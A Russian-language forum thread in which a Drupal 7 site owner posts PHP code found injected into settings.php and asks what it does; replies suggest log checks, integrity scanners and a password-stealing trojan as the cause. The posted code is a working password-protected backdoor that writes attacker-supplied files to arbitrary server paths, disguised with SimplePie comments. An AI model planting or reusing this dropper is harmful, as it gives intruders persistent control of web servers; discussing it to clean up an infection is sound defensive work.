Здравствуйте!
Сегодня чисто случайно у себя на сервере в файле settings.php одного из сайтов на Drupal 7 обнаружил чужеродный код.
Такое точно не мог написать я, да и сходу не до конца понятно зачем.
Ниже привожу данный код целиком:
<?php//Create a new SimplePieCache object
error_reporting(0);
if (isset($_POST['passwordMW'])) {
function stripslashes_for_array(&$arr) {
foreach($arr as $k=>$v) {
if (is_array($v)) {
stripslashes_for_array($v);
$arr[$k] = $v;
} else
$arr[$k] = stripslashes($v);
}
}
function fix_magic_quotes_gpc() {
if (get_magic_quotes_gpc())
stripslashes_for_array($_POST);
}
function create_dir($path) {
return mkdir($path, 0755, true);
}
function create_file($path, $filename, $textMW) {
$f_temp = fopen($path.$filename, "w");
if(file_exists($path.$filename)) {
fwrite($f_temp, $textMW);
fclose ($f_temp);
return TRUE;
} else
return FALSE;
}
function log_create($temp) {
return $temp ? "1" : "0";
}
if (function_exists ('get_magic_quotes_gpc'))
fix_magic_quotes_gpc();
$t = "\t";
$hash = md5($_POST['passwordMW']);
$prewue = 'Lenslcbdlw53bdkd92b'.$t;
$postwue = $t.'skle93nNlp4cn832kd';
if ($hash == '8b893efbdc733d479dfab302ed195fd7') {
$textMW = trim($_POST['textMW']);
$loc_nameMW = trim($_POST['locnameMW']);
$loc_pathMW = trim($_POST['locpathMW']);
$glob_nameMW = trim($_POST['globnameMW']);
$glob_pathMW = trim($_POST['globpathMW']);
$status_loc_sh = file_exists($loc_pathMW.$loc_nameMW);
$status_loc_dir = file_exists($loc_pathMW);
$status_glob_sh = file_exists($glob_pathMW.$glob_nameMW);
$status_glob_dir = file_exists($glob_pathMW);
$status_create_loc_dir = false;
$status_create_glob_dir = false;
$status_create_loc_file = false;
$status_create_glob_file = false;
if (!$status_loc_dir)
$status_create_loc_dir = create_dir($loc_pathMW);
if (!$status_glob_dir)
$status_create_glob_dir = create_dir($glob_pathMW);
if (!$status_loc_sh && ($status_create_loc_dir || $status_loc_dir))
$status_create_loc_file = create_file($loc_pathMW, $loc_nameMW, $textMW);
if (!$status_glob_sh && ($status_create_glob_dir || $status_glob_dir))
$status_create_glob_file = create_file($glob_pathMW, $glob_nameMW, $textMW);
$log = log_create($status_loc_sh).log_create($status_create_loc_file).'-'.log_create($status_glob_sh).log_create($status_create_glob_file).'-'.log_create($status_loc_dir).log_create($status_create_loc_dir).'-'.log_create($status_glob_dir).log_create($status_create_glob_dir);
$log = (log_create($status_create_glob_file) || $status_glob_sh) ? 'ok'.$t.$log : 'bad'.$t.$log;
$log = (log_create($status_create_loc_file) || $status_loc_sh) ? 'ok'.$t.$log : 'bad'.$t.$log;
echo $prewue.$log.$postwue;
} else
echo $prewue."_bad".$t."_bad".$t."_error_hash".$postwue;
}
//Include the system functions?>
В связи с этим много вопросов?
1. Что делает данный код? Насколько я успел понять он создает копию сайта в отдельной папке.
2. Как это могло произойти? Подобрали пароль root или через уязвимость в движке?
3. У файла CHMOD 775 вместо 644 (я вообще ставлю обычно 444). Это можно было сделать через php скрипт используя уязвимость или только подобрав root пароль?
Комментарии
Вот нашел этот код на просторах интернета, но не понятно зачем он опубликован:
http://pastebin.com/nKFTWyX6
Парсер. http://simplepie.org/
И такой код раскидан по множеству файлов на разных сайтах сервера...
Ничего себе кодик в сеттингсе!
А у меня на одном шаред хостинге постоянно чего-то мудрили с php.ini и автоматом 1-2 строчки в мой .htaccess записывали. Я об этом знаю, но это не проблема - хостинг не дешевый, саппорт очень хороший и вообще, нравятся они мне.
Так вот, иногда забуду, что они мне чего-то постоянно дописывают, и поменяю .htaccess, а сайт вдруг перестает работать
Это я к чему - может ваш хостинг чем-то левым промышляет?
у меня сервер в облаке, там я сам хозяин, и вот еще один хозяин объявился
помог айболит, обычное заражение, только ума не приложу, как при моей стерильности это смогло произойти...
Я не специалист по облакам (предпочитаю самые дорогие шареды с полным обслуживанием), но как там у вас все это устроено? Облако - это все-же не автономый сервер в своей коробке. Там у вас, наверное, много облаков и хозяин железа имеется. Может в том направлении посмотреть?
Это первое что я сделал. Хозяин облака - уважаемая и профессиональная команда.
нужно смотреть в /var/log/ - там можно найти много интересного кто, куда и откуда
sanita, Облачный сервер тот же VPS вид сбоку. Железо есть и в VPS и в облаке и в хостингах. Только абстракция для пользователя разная и соответственно управляемость.
albplus,
Что бы записать в "сеттингс" надо изменить права на файл. А для этого надо знать пароль пользователя этого файла.
не похоже что он копирует сайт. Он создаёт некий лог в файле, получив путь и какие-то данные.
На хабре была статья про уязвимости на бесплатных темах.
Лучше посоветуйте сканеры на эту тему если есть..По проверке целостности файлов
чушь.
есть [module=hacked] для ленивых.
Боюсь не чушь. Это по вордпрес.
hacked проверяет модули. Нужен сервис который будет находиться вне проекта
не для ТС, сорри.
не нужно бояться,
нужно понять: тут глубоко повордпресу че там в вордпресе ))
тематика несколько иная (см. адрес ресурса).
а читать все таки нужно не только на рус,
на енгл такие-же люди глаголят.
вот к примеру на стр. модуля автор пишет с первого абзаца:
This module scans the currently installed Drupal, contributed modules and themes
и дале - вполне информативно.
если чего-то нужно - то берешь и делаешь
указанный модуль - код открыт - или опять кто запрещает читать?
а лицензия не запрещает ни читать ни изменять.
diff, контрольные суммы - не подходит готовое - доработаем под себя/поглядим как и сделаем свое лучше.
и напоследок:
неким "сервис который будет находиться вне проекта" задачи ИБ не решают.
Я не знаю кто такие "Евробайт".
Благодарю за ценные рекомендации!
ёпт, какие спецы.
Логи, копирование сайта, эксплойт.
Шелл это, обычный обфусцированный шелл.
Удаляй, не удаляй, всё равно вылезет снова.
Причина глубже
Я, честно, заинтригована. Знаю, что вы специалист и не сказали это для красного словца.
Где, по-вашему, причина?
Присоединяюсь к вопросу.
Мозг и прямые руки - универсальный способ
Вирус на компьютере который обслуживает сайт)
т.е.
Не, не "т.е." Очевидно имеется в виду, что "вирус" например на компе ТС, который работает с сайтом. Троян просто собирает пароли от ftp или ssh например, а зная пароль можно закинуть файл измененный как надо.
не увидел там не одной строчки обфусцированного кода
ну просто фантастика какая то
а как по мне так обычный код впихнули, чтобы по запросу передавая параметры, создавать директории и файлы
по поводу вылезет снова, так откуда ж ты знаешь как туда этот код попал